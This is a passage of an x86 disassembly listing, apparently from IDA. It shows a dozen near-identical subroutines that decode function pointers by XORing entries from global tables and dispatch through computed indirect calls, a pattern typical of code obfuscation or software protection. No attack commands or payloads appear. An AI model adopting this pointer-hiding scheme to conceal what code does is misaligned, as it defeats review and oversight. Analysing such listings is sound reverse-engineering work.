		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AE021	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AE11E	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAF8o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 76h
		mov	[ebp+var_2C], 78h
		mov	[ebp+var_28], 0B6h
		mov	[ebp+var_24], 92h
		mov	[ebp+var_20], 67h
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], 23h
		mov	[ebp+var_14], 93h
		mov	[ebp+var_10], 10h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AE1AF
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AE1AF:				; CODE XREF: sub_4AE11E+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AE11E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AE21B	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAFCo

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 32h
		mov	[ebp+var_2C], 60h
		mov	[ebp+var_28], 0DDh
		mov	[ebp+var_24], 51h
		mov	[ebp+var_20], 0F8h
		mov	[ebp+var_1C], 93h
		mov	[ebp+var_18], 49h
		mov	[ebp+var_14], 0EBh
		mov	[ebp+var_10], 2
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 2
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AE2AC
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AE2AC:				; CODE XREF: sub_4AE21B+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AE21B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AE318	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB00o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0DCh
		mov	[ebp+var_2C], 55h
		mov	[ebp+var_28], 8Ah
		mov	[ebp+var_24], 86h
		mov	[ebp+var_20], 48h
		mov	[ebp+var_1C], 65h
		mov	[ebp+var_18], 0E1h
		mov	[ebp+var_14], 2Ch
		mov	[ebp+var_10], 12h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 12h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AE3A9
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AE3A9:				; CODE XREF: sub_4AE318+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AE318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AE415	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB04o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0ACh
		mov	[ebp+var_2C], 79h
		mov	[ebp+var_28], 0B5h
		mov	[ebp+var_24], 0D0h
		mov	[ebp+var_20], 4Ah
		mov	[ebp+var_1C], 0C9h
		mov	[ebp+var_18], 0F2h
		mov	[ebp+var_14], 5Dh
		mov	[ebp+var_10], 1
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 1
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AE4A5
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AE4A5:				; CODE XREF: sub_4AE415+7Dj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AE415	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AE511	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB08o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 1Ah
		mov	[ebp+var_2C], 75h
		mov	[ebp+var_28], 0BFh
		mov	[ebp+var_24], 0D6h
		mov	[ebp+var_20], 64h
		mov	[ebp+var_1C], 0F5h
		mov	[ebp+var_18], 0D1h
		mov	[ebp+var_14], 41h
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AE5A2
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AE5A2:				; CODE XREF: sub_4AE511+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AE511	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AE60E	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB0Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 17h
		mov	[ebp+var_2C], 36h
		mov	[ebp+var_28], 84h
		mov	[ebp+var_24], 7
		mov	[ebp+var_20], 55h
		mov	[ebp+var_1C], 63h
		mov	[ebp+var_18], 6
		mov	[ebp+var_14], 12h
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ah
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AE69F
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AE69F:				; CODE XREF: sub_4AE60E+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AE60E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AE70B	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB10o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0C3h
		mov	[ebp+var_2C], 8Ch
		mov	[ebp+var_28], 0DEh
		mov	[ebp+var_24], 0E3h
		mov	[ebp+var_20], 0B8h
		mov	[ebp+var_1C], 32h
		mov	[ebp+var_18], 0CEh
		mov	[ebp+var_14], 0EEh
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AE79C
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AE79C:				; CODE XREF: sub_4AE70B+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AE70B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AE808	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB14o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 44h
		mov	[ebp+var_2C], 7Bh
		mov	[ebp+var_28], 40h
		mov	[ebp+var_24], 97h
		mov	[ebp+var_20], 11h
		mov	[ebp+var_1C], 47h
		mov	[ebp+var_18], 0D5h
		mov	[ebp+var_14], 2Ch
		mov	[ebp+var_10], 10h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AE899
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AE899:				; CODE XREF: sub_4AE808+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AE808	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AE905	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB18o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 38h
		mov	[ebp+var_2C], 0AEh
		mov	[ebp+var_28], 0BDh
		mov	[ebp+var_24], 0AAh
		mov	[ebp+var_20], 6Bh
		mov	[ebp+var_1C], 0A7h
		mov	[ebp+var_18], 8Ch
		mov	[ebp+var_14], 0E6h
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AE996
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AE996:				; CODE XREF: sub_4AE905+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AE905	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AEA02	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB1Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 88h
		mov	[ebp+var_2C], 71h
		mov	[ebp+var_28], 0D0h
		mov	[ebp+var_24], 0CCh
		mov	[ebp+var_20], 31h
		mov	[ebp+var_1C], 0E5h
		mov	[ebp+var_18], 45h
		mov	[ebp+var_14], 16h
		mov	[ebp+var_10], 14h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 14h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AEA93
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AEA93:				; CODE XREF: sub_4AEA02+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AEA02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AEAFF	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDB20o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 7Dh
		mov	[ebp+var_2C], 70h
		mov	[ebp+var_28], 4Eh
		mov	[ebp+var_24], 0DCh
		mov	[ebp+var_20], 0A8h
		mov	[ebp+var_1C], 0A8h
		mov	[ebp+var_18], 0E0h
		mov	[ebp+var_14], 8Eh
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
